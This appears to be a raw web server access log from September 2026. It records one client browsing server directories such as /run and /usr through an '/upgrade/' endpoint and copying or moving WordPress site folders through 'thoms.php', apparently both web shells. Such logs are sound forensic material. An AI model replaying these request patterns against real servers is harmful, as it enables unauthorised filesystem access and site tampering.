45.135.193.11 - - [11/Sep/2026:23:07:35 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fmotd&location=%2Frun%2F HTTP/1.1" 200 11868 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fmotd&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:36 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_cpgreylistd&location=%2Frun%2F HTTP/1.1" 200 11893 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_cpgreylistd&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:36 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fgssproxy.pid&location=%2Frun%2F HTTP/1.1" 200 11878 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fgssproxy.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:36 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Flshttpd.pid&location=%2Frun%2F HTTP/1.1" 200 11883 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Flshttpd.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:36 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_queueprocd&location=%2Frun%2F HTTP/1.1" 200 11888 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_queueprocd&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:36 -0400] "GET /upgrade/?full_path=%2Frun&location=%2Frun%2F HTTP/1.1" 200 11805 "http://163.245.207.76:443/upgrade/?full_path=%2Frun&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:36 -0400] "GET /upgrade/?location=%2Frun%2Fmariadb HTTP/1.1" 200 5722 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fmariadb" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:36 -0400] "GET /upgrade/?location=%2Frun%2F&option=file HTTP/1.1" 200 11798 "http://163.245.207.76:443/upgrade/?location=%2Frun%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:36 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_cphulkd&location=%2Frun%2F HTTP/1.1" 200 11887 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_cphulkd&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:36 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fsystem_needs_reboot.cache&location=%2Frun%2F HTTP/1.1" 200 11885 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fsystem_needs_reboot.cache&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:36 -0400] "GET /upgrade/?location=%2Frun%2Fchrony HTTP/1.1" 200 5746 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fchrony" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:36 -0400] "GET /upgrade/?location=%2Frun%2Fnamed HTTP/1.1" 200 5719 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fnamed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:36 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fauditd.pid&location=%2Frun%2F HTTP/1.1" 200 11878 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fauditd.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:36 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fdnsadmin.pid&location=%2Frun%2F HTTP/1.1" 200 11882 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fdnsadmin.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:36 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fqueueprocd.pid&location=%2Frun%2F HTTP/1.1" 200 11883 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fqueueprocd.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:37 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fcpanellogd.pid&location=%2Frun%2F HTTP/1.1" 200 11882 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fcpanellogd.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:37 -0400] "GET /upgrade/?location=%2Frun%2F&option=dir HTTP/1.1" 200 11801 "http://163.245.207.76:443/upgrade/?location=%2Frun%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:37 -0400] "GET /upgrade/?full_path=%2Frun&location=%2F HTTP/1.1" 200 7735 "http://163.245.207.76:443/upgrade/?full_path=%2Frun&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:37 -0400] "GET /upgrade/?location=%2Frun%2F HTTP/1.1" 200 11791 "http://163.245.207.76:443/upgrade/?location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:37 -0400] "GET /upgrade/?location=%2Frun%2Fsepermit HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fsepermit" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:37 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_cpanel_php_fpm&location=%2Frun%2F HTTP/1.1" 200 11897 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_cpanel_php_fpm&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:37 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_ea-php82-php-fpm&location=%2Frun%2F HTTP/1.1" 200 11900 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_ea-php82-php-fpm&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:37 -0400] "GET /upgrade/?location=%2Frun%2Fdovecot HTTP/1.1" 200 6975 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fdovecot" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:37 -0400] "GET /upgrade/?location=%2Frun%2Fmotd.d HTTP/1.1" 200 5722 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fmotd.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:37 -0400] "GET /upgrade/?location=%2Frun%2Fsamba HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fsamba" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:37 -0400] "GET /upgrade/?location=%2Frun%2Fudev HTTP/1.1" 200 6167 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fudev" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:37 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fatd.pid&location=%2Frun%2F HTTP/1.1" 200 11875 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fatd.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:37 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_exim&location=%2Frun%2F HTTP/1.1" 200 11860 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_exim&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:37 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_ipaliases&location=%2Frun%2F HTTP/1.1" 200 11850 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_ipaliases&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:38 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_irqbalance&location=%2Frun%2F HTTP/1.1" 200 11881 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_irqbalance&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:38 -0400] "GET /upgrade/?location=%2Frun%2Fchkservd.services_suspend HTTP/1.1" 200 5764 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fchkservd.services_suspend" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:38 -0400] "GET /upgrade/?location=%2Frun%2Flock HTTP/1.1" 200 6365 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Flock" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:38 -0400] "GET /upgrade/?location=%2Frun%2Fmdadm HTTP/1.1" 200 5746 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fmdadm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:38 -0400] "GET /upgrade/?location=%2Frun%2Frestartsrv HTTP/1.1" 200 5750 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Frestartsrv" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:38 -0400] "GET /upgrade/?location=%2Fusr%2Flib64 HTTP/1.1" 200 103782 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:38 -0400] "GET /upgrade/?location=%2Fusr%2Flibexec HTTP/1.1" 200 12074 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flibexec" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:38 -0400] "GET /upgrade/?location=%2Fusr%2Ftmp HTTP/1.1" 200 10047 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Ftmp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:38 -0400] "GET /upgrade/?full_path=%2Fusr&location=%2Fusr%2F HTTP/1.1" 200 6676 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr&location=%2Fusr%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:39 -0400] "GET /upgrade/?location=%2Fusr%2Fbin HTTP/1.1" 200 95810 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Fbin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:39 -0400] "GET /upgrade/?location=%2Fusr%2Fsrc HTTP/1.1" 200 6194 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Fsrc" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:39 -0400] "GET /upgrade/index.php?location=%2Fusr%2F HTTP/1.1" 200 6664 "http://163.245.207.76:443/upgrade/index.php?location=%2Fusr%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:39 -0400] "GET /upgrade/?full_path=%2Fusr&location=%2F HTTP/1.1" 200 7730 "http://163.245.207.76:443/upgrade/?full_path=%2Fusr&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:39 -0400] "GET /upgrade/?location=%2Fusr%2Fgames HTTP/1.1" 200 5720 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Fgames" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:39 -0400] "GET /upgrade/?location=%2Fusr%2Flib HTTP/1.1" 200 8124 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:39 -0400] "GET /upgrade/?location=%2Fusr%2Flocal HTTP/1.1" 200 6543 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flocal" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:39 -0400] "GET /upgrade/?location=%2Fusr%2F&option=file HTTP/1.1" 200 6675 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:40 -0400] "GET /upgrade/?location=%2Fusr%2Fsbin HTTP/1.1" 200 37252 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Fsbin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:40 -0400] "GET /upgrade/?location=%2Fusr%2Fshare HTTP/1.1" 200 13666 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Fshare" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:40 -0400] "GET /upgrade/?file_location=%2Fusr%2F%2FtmpDSK&location=%2Fusr%2F HTTP/1.1" 200 6730 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2F%2FtmpDSK&location=%2Fusr%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:40 -0400] "GET /upgrade/?location=%2Fusr%2F&option=folder HTTP/1.1" 200 6675 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:40 -0400] "GET /upgrade/?location=%2Fusr%2F&option=dir HTTP/1.1" 200 6677 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:40 -0400] "GET /upgrade/?location=%2Fusr%2Finclude HTTP/1.1" 200 22847 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Finclude" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:40 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:40 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:40 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:40 -0400] "GET /thoms.php?p=bfl.com.tw%2Flegacy-checkpoint HTTP/1.1" 200 13274 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Flegacy-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:40 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17481 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:40 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-admin HTTP/1.1" 200 28928 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:40 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&p=bfl.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:40 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17482 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&finish=1&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:40 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:40 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?p=bfl.com.tw%2Fupgrade HTTP/1.1" 200 14140 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-content HTTP/1.1" 200 13621 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?p=bfl.com.tw%2F.well-known HTTP/1.1" 200 12588 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?p=bfl.com.tw%2Fcgi-bin HTTP/1.1" 200 12047 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?p=bfl.com.tw%2Fqueue-failed HTTP/1.1" 200 13406 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Fqueue-failed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes HTTP/1.1" 200 59004 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?p=bft.com.tw%2F.well-known HTTP/1.1" 200 12587 "https://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:41 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2Fclient-global HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=bft.com.tw%2Fclient-global" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
